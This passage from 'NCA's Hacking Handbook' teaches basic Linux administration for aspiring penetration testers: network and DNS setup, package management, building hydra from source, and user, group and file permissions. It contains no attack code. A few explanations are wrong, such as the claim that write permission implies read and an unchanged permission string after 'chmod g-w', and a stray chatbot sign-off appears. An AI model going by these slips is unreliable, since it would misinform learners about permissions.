┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ifconfig eth0 up
┌──(kali㉿kali)-[~/Desktop]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::28d4:c11a:a8f7:4180 prefixlen 64 scopeid
0x20<link>
ether 00:11:22:33:44:55 txqueuelen 1000 (Ethernet)
RX packets 14 bytes 2793 (2.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 88 bytes 9036 (8.8 KiB)
TX errors 0 dropped 7 overruns 0 carrier 0 collisions 0
Assigning New IP Addresses from the DHCP Server
To assign a new IP address from a DHCP server in Linux, you can use the
dhclient command. First, release the current IP address by running sudo
66
5/26/25, 7:47 PM
NCA's Hacking Handbook
dhclient -r eth0 , which disconnects the interface from the DHCP server. Next,
request a new IP address by executing sudo dhclient eth0 , which contacts the
DHCP server to obtain a fresh IP configuration. For example, to renew the IP for the
eth0 interface, you would run:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo dhclient -r eth0
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo dhclient eth0
Manipulating the Domain Name System
DNS (Domain Name System) can be dangerous because it translates humanreadable domain names (e.g., google.com ) into IP addresses, making it a critical
part of internet communication. If hackers compromise or modify a DNS server,
they can redirect users to malicious websites without their knowledge, a technique
called DNS spoofing or DNS poisoning. For example, when you type example.com ,
a hacked DNS server could redirect you to a fake website designed to steal
sensitive information like passwords or credit card details. This can lead to phishing
attacks, malware infections, or data breaches. Securing DNS servers and using
encrypted DNS protocols (like DNS over HTTPS) are essential to prevent such
attacks.
Dig
The dig command (Domain Information Groper) is a versatile Linux tool used to
query DNS (Domain Name System) servers and retrieve detailed information about
domain names, IP addresses, and DNS records. It allows users to look up specific
DNS record types, such as A records (IPv4 addresses), AAAA records (IPv6
addresses), MX records (mail servers), NS records (name servers), and CNAME
records (domain aliases). For example, running dig google.com provides
comprehensive details about Google's DNS configuration. The command is
particularly useful for troubleshooting DNS issues, verifying domain configurations,
and analyzing DNS responses. Its flexibility and detailed output make it a preferred
67
5/26/25, 7:47 PM
NCA's Hacking Handbook
tool for network administrators and security professionals. Let me know if you need
further clarification!
┌──(kali㉿kali)-[~/Desktop]
└─$ dig ncateam.xyz ns
---snip--;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;ncateam.xyz.
IN
;; ANSWER SECTION:
ncateam.xyz.
ncateam.xyz.
---snip---
14400
14400
IN
IN
NS
NS
NS
coby.ns.cloudflare.com.
wally.ns.cloudflare.com.
Changing Your DNS Server
Changing the DNS server in Linux is often done to enhance privacy, speed, or
security. For instance, you might switch to a public DNS service like Google DNS
( 8.8.8.8 ) or Cloudflare DNS ( 1.1.1.1 ) for faster and more secure internet
access. To change the DNS server, you can edit the /etc/resolv.conf file and
add or modify the nameserver line with the desired DNS server address. For a
persistent change, you can use the NetworkManager tool.
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nano /etc/resolv.conf
//..SNIP..//
# Generated by NetworkManager
nameserver 192.168.1.1
The line nameserver 192.168.1.1 in a Linux configuration file (like
/etc/resolv.conf ) specifies that the system should use the DNS server at the IP
address 192.168.1.1 for domain name resolution. This is typically the IP address
of a local router or a custom DNS server within a private network. By setting this,
your system will send all DNS queries to 192.168.1.1 , which then resolves domain
names to IP addresses. This is useful in environments where the local DNS server
68
5/26/25, 7:47 PM
NCA's Hacking Handbook
provides specific domain resolutions or filters content. For example, in a home
network, the router at 192.168.1.1 often acts as the default DNS server.
Google Public DNS is a free, global Domain Name System (DNS) service provided
by Google, offering fast and secure domain name resolution. Its primary DNS
servers are 8.8.8.8 and 8.8.4.4 .
To add Google Public DNS to our Linux just add following 2 line in
/etc/resolv.conf file.
nameserver 8.8.8.8
nameserver 8.8.4.4
Mapping Your Own IP Addresses
The /etc/hosts file in Linux allows you to manually map IP addresses to
hostnames, enabling custom domain resolutions on your system. This is particularly
useful for development, testing, or blocking specific websites. For instance, if
you're developing a website locally, you can map a domain like mywebsite.local
to your local machine's IP address ( 127.0.0.1 ) by adding the line 127.0.0.1
mywebsite.local to the /etc/hosts file. This ensures that when you type
mywebsite.local in your browser, it resolves to your local server instead of
querying an external DNS. Similarly, you can block access to a website like
adsite.com by mapping it to 0.0.0.0 , effectively redirecting it to an invalid
address. These mappings take effect immediately and provide a simple way to
control domain resolution without relying on external DNS servers.
To help you understand this better, let me start the Apache web service using the
following command, and then we will see how we can map it.
69
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ service apache2 start
┌──(kali㉿kali)-[~/Desktop]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
--snip--
The command service apache2 start is used to start the Apache2 web server on
a Linux system, such as Kali Linux. The service command is a utility for managing
system services, and apache2 refers to the Apache HTTP server, a widely used
open-source web server. By adding the start argument, the command initializes
the Apache2 service, allowing it to serve web pages and handle HTTP requests.
This is particularly useful for hosting websites locally, testing web applications, or
setting up a development environment. After executing the command, you can
verify that Apache2 is running by visiting http://10.0.2.15/ in your web browser.
┌──(kali㉿kali)-[~]
└─$ sudo cat /etc/hosts
127.0.0.1
localhost
127.0.1.1
kali
::1
localhost ip6-localhost ip6-loopback
ff02::1
ip6-allnodes
ff02::2
ip6-allrouters
10.0.2.15
nca.com
70
5/26/25, 7:47 PM
NCA's Hacking Handbook
If you notice above, I added 10.0.2.15 nca.com at the last line, which means I
mapped nca.com to the IP address 10.0.2.15 in my /etc/hosts file.
Now, if you visit http://nca.com/ in your browser, it will first resolve nca.com to
the IP address 10.0.2.15 from the /etc/hosts file. You can think of that file as a
local DNS server as well.
71
5/26/25, 7:47 PM
NCA's Hacking Handbook
Software Management
Software, packages, and binaries are important aspects of Linux. When performing
penetration testing, we often need to find, download, and remove tools from our
system regularly. Learning the basics of adding and removing software using
common package management techniques, such as apt for Debian-based
distributions (dnf for Fedora, pacman for Arch), git, dpkg, and pip for Python
libraries, is an essential skill. In this section, we will explore software management
in Linux.
What is Repository?
A repository, in the context of Linux, is a storage location from which software
packages are retrieved and installed on a system. An APT repository, specifically, is
used by Debian-based distributions like Ubuntu (or Kali in our case), where
packages are managed using the Advanced Package Tool (APT). These
repositories contain deb (short for debian) packages and metadata, allowing users
to easily install, update, and manage software. Other commonly used repositories in
Linux include YUM/DNF1 repositories for RPM-based distributions like Fedora and
CentOS, Pacman repositories for Arch Linux, and snap or Flatpak repositories,
which provide universal packages across different distributions. Each repository
type serves as a centralized source for software distribution and updates.
APT
An APT repository is a centralized storage location containing software packages
and metadata for Debian-based Linux distributions like Ubuntu or Kali. It uses the
Advanced Package Tool (APT) to manage .deb packages, enabling users to
install, update, and remove software seamlessly. Repositories are categorized as
main, restricted, universe, and multiverse, depending on the software's licensing
and support. APT repositories are accessed via sources listed in the
/etc/apt/sources.list file, and tools like apt-get or apt interact with them to
72
5/26/25, 7:47 PM
NCA's Hacking Handbook
resolve dependencies and fetch packages. They ensure secure, efficient software
management through signed packages and regular updates.
Locating a Package
Prior to downloading a software package, you can verify its availability in your
repository—a centralized database where your operating system maintains
software information. The APT tool includes a search feature that allows you to
determine if the desired package is accessible. The syntax for this operation is
simple and intuitive
APT uses a database called the APT cache. This is used to provide information
about packages installed on our system offline. We can search the APT cache, for
example, to find all nginx related packages.
┌──(kali㉿kali)-[~/Desktop]
└─$ apt-cache search nginx
┌──(kali㉿kali)-[~/Desktop]
└─$ apt search nginx
In Linux, particularly on Debian-based systems like Ubuntu or Kali, the commands
apt-get update and apt-get upgrade play crucial roles in managing software
packages. The apt-get update command refreshes the local package index by
fetching the latest information from the configured repositories. This ensures your
system is aware of the newest versions of packages and their dependencies, but it
does not install or upgrade any software. On the other hand, apt-get upgrade
installs the latest versions of all currently installed packages available in the
repositories. This command upgrades packages to their newest versions while
preserving existing configurations. Together, these commands help keep your
system secure, up-to-date, and functioning efficiently by ensuring you have access
to the latest software updates and security patches.
73
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt-get update
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt-get upgrade
## One liner:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt-get update && sudo apt-get upgrade -y
One Liner Explanation:
The sudo apt-get update command refreshes the package list from repositories to
ensure the latest versions are available. The sudo apt-get upgrade -y command
installs all available updates for installed packages, automatically confirming the
process with -y .
Installing Software Packages
To install software from your operating system’s default repository via the terminal,
use the apt-get command, followed by the install keyword and the name of
the desired package. The syntax is as follows:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt-get install nmap -y
To check all installed packages
┌──(kali㉿kali)-[~/Desktop]
└─$ apt list --installed
Removing Software Packages
In Debian-based Linux distributions, the remove and purge commands are used
to uninstall packages, but they differ in how they handle configuration files. The
remove command uninstalls a package while keeping its configuration files intact,
74
5/26/25, 7:47 PM
NCA's Hacking Handbook
which can be useful if you plan to reinstall the software later and retain its settings.
For example, sudo apt-get remove <package-name> . On the other hand, the
purge command completely removes the package along with its configuration
files, ensuring no traces are left behind. This is ideal for a clean, thorough
uninstallation. For example, sudo apt-get purge <package-name> . Use remove for
partial uninstallation and purge for a complete cleanup.
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt-get remove nmap ## Partial Cleanup
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt-get purge nmap ## Complete Cleanup
Additional Package Managing Tools
Dpkg
is a low-level package manager for Debian-based Linux systems like Ubuntu
or Kali, used to install, remove, and manage .deb packages. It works directly with
individual .deb files but does not resolve dependencies automatically. To install a
.deb package, use:
dpkg
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo dpkg -i <package-name.deb>
To remove a package, use:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo dpkg -r <package-name>
For complete removal, including configuration files, use:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo dpkg --purge <package-name>
75
5/26/25, 7:47 PM
NCA's Hacking Handbook
For practice visit here and download .deb file for Discord Desktop Client and
practice dpkg.
Note:
If we have .deb file, we can either use dpkg or use apt itself as well.
sudo apt install ./discord-0.0.80.deb
Pip
is the standard package management tool for Python, designed to install,
manage, and uninstall Python packages from the Python Package Index (PyPI) or
other repositories. It simplifies the process of adding third-party libraries and tools
to your Python environment. To install a package, use
pip
┌──(kali㉿kali)-[~/Desktop]
└─$ pip install <package-name>
To remove a package, use:
┌──(kali㉿kali)-[~/Desktop]
└─$ pip uninstall <package-name>
You can also list installed packages with:
┌──(kali㉿kali)-[~/Desktop]
└─$ pip list
Adding Repositories to Your sources.list
File
The servers that host software for specific Linux distributions are known as
repositories. Nearly every Linux distribution has its own repositories, which contain
76
5/26/25, 7:47 PM
NCA's Hacking Handbook
software specifically developed and configured for that distribution. While these
repositories often include similar software, they may have different versions or
entirely different packages. This means that software from one distribution's
repository might not work well—or at all—with another distribution.
In Kali Linux, the primary repository is tailored for security and hacking tools.
However, since Kali focuses on these areas, it may lack some general-purpose or
specialized software. To address this, you can add additional repositories to your
system. These backup repositories will be searched if the desired software isn't
found in the Kali repository.
The repositories your system searches for software are defined in the
sources.list file. You can edit this file to specify which repositories your system
should use. For example, I often add the Debian or Ubuntu repositories after the
Kali repositories in my sources.list file. This way, when I request a software
package, the system first checks the Kali repository. If the package isn't found
there, it then searches the Debian or Ubuntu repository.
You can locate the sources.list file at /etc/apt/sources.list and open it with
any text editor. For instance, you can use Nano to edit the file. To open the file,
enter the following command in your terminal, replacing nano with your preferred
text editor:
┌──(kali㉿kali)-[~/Desktop]
└─$ nano /etc/apt/sources.list
Repository Categories in Linux Distributions
Many Linux distributions, such as Ubuntu and Debian, categorize their repositories.
For example, Ubuntu organizes its repositories into the following categories:
• main: Contains supported open-source software.
• universe: Contains community-maintained open-source software.
• multiverse: Includes software restricted by copyright or legal issues.
• restricted: Contains proprietary device drivers.
• backports: Offers packages from later releases.
77
5/26/25, 7:47 PM
NCA's Hacking Handbook
It’s generally not recommended to use testing, experimental, or unstable
repositories in your sources.list file. These repositories may contain untested or
unstable software that could potentially break your system.
When you request a software package, your system searches through the
repositories listed in sources.list in the order they appear. It stops searching as
soon as it finds the desired package. Therefore, it’s important to ensure that any
added repositories are compatible with your system. Since Kali is based on Debian,
Debian repositories are generally compatible with Kali.
Add the following to sources.list file:
deb [arch=amd64] http://packages.microsoft.com/repos/vscode stable main
After saving the file, you can install Visual Studio Code using the following
commands:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt update ## Refresh the repo to get info about VSCode
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt install code ## Installing VSCode: it's referred as "code"
in repository
Installing Softwares with Git
Sometimes the software you need may not be available in any repositories—
especially if it’s newly developed—but it might be hosted on GitHub
(https://github.com/ ), a platform where developers share their projects for others
to download, use, and contribute to. For example, if you’re looking for a tool like
hydra , a brute-force related tool, and it’s not available in your distribution’s
repository (assume that it's not available), you can search for it on GitHub by
entering Hydra in the search bar. If the project exists, you’ll see its repository in
the search results.
Once you’ve located the software on GitHub, you can install it via the terminal using
the git clone command followed by the repository’s URL.
78
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ git clone https://github.com/vanhauser-thc/thc-hydra
Cloning into 'thc-hydra'...
remote: Enumerating objects: 3665, done.
remote: Counting objects: 100% (1395/1395), done.
remote: Compressing objects: 100% (195/195), done.
remote: Total 3665 (delta 1272), reused 1216 (delta 1198), pack-reused
2270 (from 3)
Receiving objects: 100% (3665/3665), 3.42 MiB | 5.25 MiB/s, done.
Resolving deltas: 100% (2474/2474), done.
While Git is a vast topic on its own, here we only explain how to clone a repository
hosted on GitHub to your local system.
After cloning, the installation guide for the tool can be found in the README.md file
within the repository. Make sure to read it before proceeding.
After cloning the repository in local system, I can cd to it and read README.md
file for installation guide:
79
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop/thc-hydra]
└─$ ./configure # Checks system dependencies and generates the necessary
Makefiles for compilation
┌──(kali㉿kali)-[~/Desktop/thc-hydra]
└─$ make # Compiles the source code into an executable binary based on
the Makefile
┌──(kali㉿kali)-[~/Desktop/thc-hydra]
└─$ make install # Copies the compiled binaries and other necessary
files to system directories for global use
Experiment with all the topics covered in this section to become comfortable with
managing software and tools in Linux. Try locating tools, installing them using
different methods, and removing them to reinforce your understanding.
80
5/26/25, 7:47 PM
NCA's Hacking Handbook
Files & Directory Permissions
In Linux, user management is a fundamental aspect of system administration and
security. At the heart of this system is the concept of user roles and groups, which
determine what actions users can perform and what resources they can access.
The most powerful user in Linux is the root user, often referred to as the
superuser. The root user has unrestricted access to the entire system, allowing
them to perform any task, modify any file, and change system configurations. This
level of access is necessary for administrative tasks but can also pose significant
security risks if misused.
In contrast to the root user, regular users have limited permissions. These users
are typically restricted to their own files and directories and cannot make systemwide changes. This separation of privileges is a core principle of Linux security,
ensuring that most users operate within a controlled environment that minimizes the
risk of accidental or intentional damage to the system.
Adding a user
Adding a new user in Linux is a simple process that can be accomplished using the
command line. To begin, open your terminal and ensure you have administrative
privileges, either by logging in as the root user or using sudo to execute
commands with elevated permissions. The easiest way to add a new user is by
using the adduser command, which is interactive and guides you through the
process. For example, to create a user named john , you would run the command
sudo adduser john . The system will prompt you to set a password for the new
user and may ask for additional details, such as the user's full name, room number,
or phone number. These fields are optional and can be skipped by pressing Enter .
81
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo adduser john
[sudo] password for kali:
info: Adding user `john' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `john' (1002) ...
info: Adding new user `john' (1002) with group `john (1002)' ...
info: Creating home directory `/home/john' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for john
Enter the new value, or press ENTER for the default
Full Name []: john
Room Number []: 123
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y
info: Adding new user `john' to supplemental / extra groups `users' ...
info: Adding user `john' to group `users' ...
Once the user is created, you can verify their existence by checking the
/etc/passwd file, which stores user account information. For example, running
grep john /etc/passwd will display a line with the user's details, confirming that
the account has been successfully created.
┌──(kali㉿kali)-[~/Desktop]
└─$ grep john /etc/passwd
john:x:1002:1002:john,123,,:/home/john:/bin/bash
Groups in Linux
To simplify user management and permission assignment, Linux organizes users
into groups. A group is a collection of users who share similar access needs. For
example, In an IT or technical environment, groups might include:
• Developers: For software engineers who need access to programming tools
and repositories.
82
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Network Administrators: For IT staff responsible for managing network
infrastructure.
• Database Administrators: For users who manage and maintain databases.
By assigning users to groups, administrators can efficiently manage permissions.
Instead of setting permissions for each individual user, permissions are assigned to
the group, and all members of that group inherit those permissions. This approach
not only simplifies administration but also ensures consistency and reduces the risk
of errors.
Groups play a critical role in maintaining a secure and organized system. They allow
administrators to:
1. Streamline Permission Management: Instead of assigning permissions to
individual users, permissions are assigned to groups, making it easier to
manage access for multiple users with similar roles.
2. Enhance Security: By limiting access to sensitive files and directories to
specific groups, administrators can reduce the risk of unauthorized access.
3. Improve Collaboration: Groups enable users with similar responsibilities to
share resources and collaborate effectively.
To add a new group called developers we can use groupadd :
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo groupadd developers
[sudo] password for kali:
We can verify if the group was created or not by checking entry at /etc/group file.
Types of Groups
Primary Groups
In Linux, users are associated with both primary groups and secondary groups,
each serving a specific purpose in managing permissions and access. When a user
83
5/26/25, 7:47 PM
NCA's Hacking Handbook
account is created, it is assigned a primary group, which is typically named after
the user. For example, if the username is john , the primary group might also be
named john . This primary group plays a key role in determining the default group
ownership of files and directories created by the user. Whenever a user creates a
new file or directory, the system automatically assigns the primary group as the
group owner of that file or directory. A user can belong to only one primary group
at a time, and this information is stored in the /etc/passwd file.
Secondary Groups
In addition to the primary group, a user can also belong to secondary groups.
These are additional groups that provide the user with extra permissions beyond
those granted by their primary group. Secondary groups are particularly useful in
environments where users need access to resources shared among multiple teams
or roles. For example, a user might have a primary group for their personal files but
also belong to secondary groups like developers , admins , or finance to access
shared resources related to those roles. A user can belong to multiple secondary
groups, and this information is stored in the /etc/group file. By organizing users
into primary and secondary groups, Linux provides a flexible and efficient way to
manage permissions, ensuring that users have the access they need while
maintaining security and organization.
Adding john User to developers Group
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo usermod -aG developers john
┌──(kali㉿kali)-[~/Desktop]
└─$ cat /etc/group | grep 'developers'
developers:x:1003:john
Granting Permissions
84
5/26/25, 7:47 PM
NCA's Hacking Handbook
Granting Permissions
In Linux, file and folder permissions are a core component of the system's security
and access control mechanism. Each file and folder has a set of permissions that
determine how users can interact with them. Each file and directory in Linux must
be assigned specific permissions to control access for different users. These
permissions are divided into three levels:
•
•
•
r (Read permission): This allows a user to open and view the contents of a file
or list the contents of a directory. However, it does not permit any modifications
or execution.
w (Write permission): This grants the ability to modify a file’s contents or add,
delete, and rename files within a directory. It also implies the ability to read the
file or directory.
x (Execute permission): This permits a user to execute a file as a program or
script. For directories, it allows the user to traverse and access files within the
directory, provided they have the necessary permissions.
These permissions are assigned to three categories of users: the owner of the file,
the group associated with the file, and others (all other users). By default, when a
file is created, the user who created it becomes the owner, and the owning group is
set to the user’s current group. The owner has the authority to modify permissions
and grant access to other users or groups as needed.
To manage these permissions, commands like chmod are used to change access
levels, chown to change ownership, and chgrp to modify the group associated
with the file or directory. This system ensures that users have the appropriate level
of access based on their roles and responsibilities, maintaining security and
organization within the system.
85
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ touch test.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ mkdir test
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
total 4
drwxrwxr-x 2 kali kali 4096 Feb 27 10:05 test
-rw-rw-r-- 1 kali kali
0 Feb 27 10:05 test.txt
Let’s break down the file permissions of above code snippet in a simple way:
1.
drwxrwxr-x (for the test directory):
•
•
•
•
2.
rwx : The owner ( kali ) has read (r), write (w), and execute (x)
permissions. This means the owner can view, modify, and enter the
directory.
rwx : The group ( kali ) also has read, write, and execute permissions.
Members of the group can do the same as the owner.
r-x : Others (everyone else) have read and execute permissions. They can
view and enter the directory but cannot modify it.
rw-rw-r-- (for the test.txt file):
•
•
•
•
•
d : This means it’s a directory (not a file).
- : This means it’s a regular file (not a directory).
rw- : The owner ( kali ) has read and write permissions. The owner can
view and edit the file but cannot execute it (since it’s not a program).
rw- : The group ( kali ) also has read and write permissions. Group
members can view and edit the file.
r-- : Others (everyone else) have only read permission. They can view the
file but cannot edit or execute it.
kali kali :
◦ The first kali is the owner of the directory ( test ). This means the user
kali
created or owns this directory.
◦ The second kali (primary group) is the group associated with the
directory. In this case, the group is also named kali .
86
5/26/25, 7:47 PM
NCA's Hacking Handbook
File permissions ensure that only authorized users can access or modify files,
maintaining security and control over the system. They can be changed using the
chmod command.
Changing Permissions with Decimal Notation
In Linux, file permissions can be changed using decimal notation, also known as
octal notation, which is a numeric way to represent permissions. Each permission
type—read (r), write (w), and execute (x)—is assigned a specific value: read = 4,
write = 2, and execute = 1. These values are added together to create a single digit
that represents the permissions for a specific user category (owner, group, or
others).
For example:
• If you want to give read and write permissions, you add 4 (read) + 2 (write) = 6.
• If you want to give read, write, and execute permissions, you add 4 (read) + 2
(write) + 1 (execute) = 7.
To set permissions for a file or directory, you combine three digits: one for the
owner, one for the group, and one for others. For instance:
• 755: This means:
◦ 7 (owner): read (4) + write (2) + execute (1) = full permissions.
◦ 5 (group): read (4) + execute (1) = read and execute.
◦ 5 (others): read (4) + execute (1) = read and execute.
To apply these permissions, you use the chmod command followed by the numeric
value and the file or directory name. For example:
87
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 755 test.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
total 4
drwxrwxr-x 2 kali kali 4096 Feb 27 10:05 test
-rwxr-xr-x 1 kali kali
0 Feb 27 10:05 test.txt
This command gives the owner full permissions, while the group and others get
read and execute permissions.
Decimal notation is a quick and efficient way to set permissions, especially when
you need to apply the same permissions to multiple files or directories. It ensures
precise control over who can read, write, or execute files and directories in a Linux
system.
Let’s go through another example step by step using decimal notation to set file
permissions. Suppose you want to assign the following permissions:
1. Owner: You want to give read (r) and write (w), permissions.
• Read = 4, Write = 2.
• Add them together: 4 + 2 = 6.
• So, the owner’s permission value is 6.
2. Group: You want to give read (r) and execute (x) permissions.
• Read = 4, Execute = 1.
• Add them together: 4 + 1 = 5.
• So, the group’s permission value is 5.
3. Others: You want to give only execute (x) permission.
• Execute = 1.
• So, the others’ permission value is 1.
Now, combine these three values in the order: owner, group, others. This gives you
the numeric permission value: 651.
88
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 651 test.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
total 4
drwxrwxr-x 2 kali kali 4096 Feb 27 10:05 test
-rw-r-x--x 1 kali kali
0 Feb 27 10:05 test.txt
Changing Permissions with UGO
In Linux, UGO is a simple and intuitive way to change file or directory permissions
using symbolic notation. UGO stands for User (owner), Group, and Others, which
are the three categories of users for whom permissions can be set. Each category
can be assigned read (r), write (w), or execute (x) permissions. The chmod
command is used to change permissions in this format.
• U (User/Owner): Refers to the owner of the file or directory.
• G (Group): Refers to the group associated with the file or directory.
• O (Others): Refers to all other users who are not the owner or part of the group.
You can add ( + ), remove ( - ), or set ( = ) permissions for any of these categories.
For example:
•
•
•
u+r
adds read permission for the owner.
g-w
removes write permission for the group.
o=x
sets execute permission for others (and removes all other permissions).
Let’s use the file test.txt from example to demonstrate how to change
permissions using UGO notation. Here’s the initial state of the file
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
total 4
drwxrwxr-x 2 kali kali 4096 Feb 27 10:05 test
-rw-r-x--x 1 kali kali
0 Feb 27 10:05 test.txt
89
5/26/25, 7:47 PM
NCA's Hacking Handbook
Initial Permissions:
• Owner (u): rw- (read and write).
• Group (g): r-x (read and execute).
• Others (o): -x (execute only).
Add execute permission for the owner:
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod u+x test.txt
• This adds execute ( x ) permission for the owner.
• New permissions: rwxr-x--x .
Remove write permission for the group:
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod g-w test.txt
• This removes write ( w ) permission for the group.
• New permissions: rwxr-x--x .
Set read-only permission for others:
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod o=r test.txt
• This sets read ( r ) permission for others and removes any other permissions
they had.
• New permissions: rwxr-xr-- .
Remove all permissions for the group:
90
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod g= test.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
total 4
drwxrwxr-x 2 kali kali 4096 Feb 27 10:05 test
-rwx---r-- 1 kali kali
0 Feb 27 10:05 test.txt
• This removes all permissions for the group.
• New permissions: rwx---r-- .
Granting Ownership to an Individual User
In Linux, every file and directory is associated with an owner and a group. The
owner is typically the user who created the file, but ownership can be transferred to
another user if needed. This is useful when a file needs to be managed by a
different user, such as transferring responsibility or granting access. To change the
owner of a file or directory, the chown command is used. Only the root user or a
user with sudo privileges can change ownership of a file.
For example, let’s say you have a file called test.txt owned by the user kali ,
and you want to transfer ownership to another user named john . You would use
the following command:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo chown john test.txt
[sudo] password for kali:
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
-rwx---r-- 1 john kali
0 Feb 27 10:05 test.txt
Granting Ownership to a Group
In Linux, files and directories are not only associated with an individual owner but
also with a group. Groups allow multiple users to share access to files with specific
permissions. Granting ownership to a group is useful when you want a team or set
91
5/26/25, 7:47 PM
NCA's Hacking Handbook
of users to collectively manage or access a file or directory. To change the group
ownership of a file or directory, the chown or chgrp command is used. Only the
root user or a user with sudo privileges can change group ownership.
For example, let’s say you have a file called test.txt owned by the user john
and the group kali , and you want to grant ownership to a group called
developers . You would use the following command:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo chgrp developers test.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
total 0
-rwx---r-- 1 john developers 0 Feb 27 10:05 test.txt
Setting More Secure Default Permissions with Masks
In Linux, the umask (user file-creation mask) is a setting that determines the default
permissions for newly created files and directories. It works by "masking out" or
restricting certain permissions to ensure that files and directories are created with
more secure and restrictive permissions by default. The umask value is subtracted
from the base permissions (typically 666 for files and 777 for directories) to
determine the final permissions.
For example, a common umask value is 022 , which means:
• For files: Base permissions are 666 (read and write for owner, group, and
others). Subtracting the umask of 022 results in default file permissions of
644 ( rw-r--r-- ), where the owner has read and write permissions, while the
group and others have only read permissions.
• For directories: Base permissions are 777 (read, write, and execute for owner,
group, and others). Subtracting the umask of 022 results in default directory
permissions of 755 ( rwxr-xr-x ), where the owner has full permissions, while
the group and others have read and execute permissions.
The umask can be set temporarily for the current session using the umask
command or permanently by adding it to a user's shell configuration file (e.g.,
92
5/26/25, 7:47 PM
NCA's Hacking Handbook
or .profile ). For example, to set a more restrictive umask of 027 , you
would use:
.bashrc
┌──(kali㉿kali)-[~/Desktop]
└─$ touch test1
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Feb 27 11:30 test1
┌──(kali㉿kali)-[~/Desktop]
└─$ umask 027
┌──(kali㉿kali)-[~/Desktop]
└─$ touch test2
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Feb 27 11:30 test1
-rw-r----- 1 kali kali 0 Feb 27 11:32 test2
Let's breakdown each commands below:
1. Initial State:
• The command touch test1 creates a new file called test1 .
• By default, the file is created with permissions rw-r--r-- (644):
◦ Owner: Read and write ( rw- ).
◦ Group: Read only ( r-- ).
◦ Others: Read only ( r-- ).
2. Changing the umask:
• The command umask 027 sets a new umask value:
◦ The umask of 027 means:
▪ Owner: No permissions are masked (full permissions allowed).
93
5/26/25, 7:47 PM
NCA's Hacking Handbook
▪ Group: Write permission is masked ( 2 ).
▪ Others: Read, write, and execute permissions are masked ( 7 ).
3. Creating a New File with the New umask:
• The command touch test2 creates a new file called test2 .
• With the umask set to 027 , the file is created with permissions rw-r----(640):
◦ Owner: Read and write ( rw- ).
◦ Group: Read only ( r-- ).
◦ Others: No permissions ( -- ).
4. Result:
• The ls -l command shows the permissions for both files:
◦ test1 : Created with the default umask , has permissions rw-r--r-- .
◦ test2 : Created with the umask of 027 , has more restrictive permissions
rw-r----- .
Special Permissions
In addition to the standard permissions—read (r), write (w), and execute (x)—Linux
also supports three special permissions that offer more advanced functionality.
These are the Set User ID (SUID), Set Group ID (SGID), and Sticky Bit. Each of
these permissions serves a unique purpose and provides additional control over
how files and directories are accessed or executed. I will explore each of these
special permissions in detail in the following sections.
Granting Temporary Root Permissions with SUID
In Linux, a user can only execute a file if they have the execute (x) permission for
that file. Without execute permission, even if a user has read or write access, they
cannot run the file. However, there are exceptions to this rule, particularly when a
94
5/26/25, 7:47 PM
NCA's Hacking Handbook
file needs to perform tasks that require elevated privileges, such as those of the
root user.
For example, consider a program that allows users to change their passwords. This
program needs access to the /etc/shadow file, which stores encrypted user
passwords and is only accessible by the root user. To allow non-root users to
execute such a program, Linux provides a mechanism called the Set User ID (SUID)
bit. When the SUID bit is set on a file, any user who executes the file temporarily
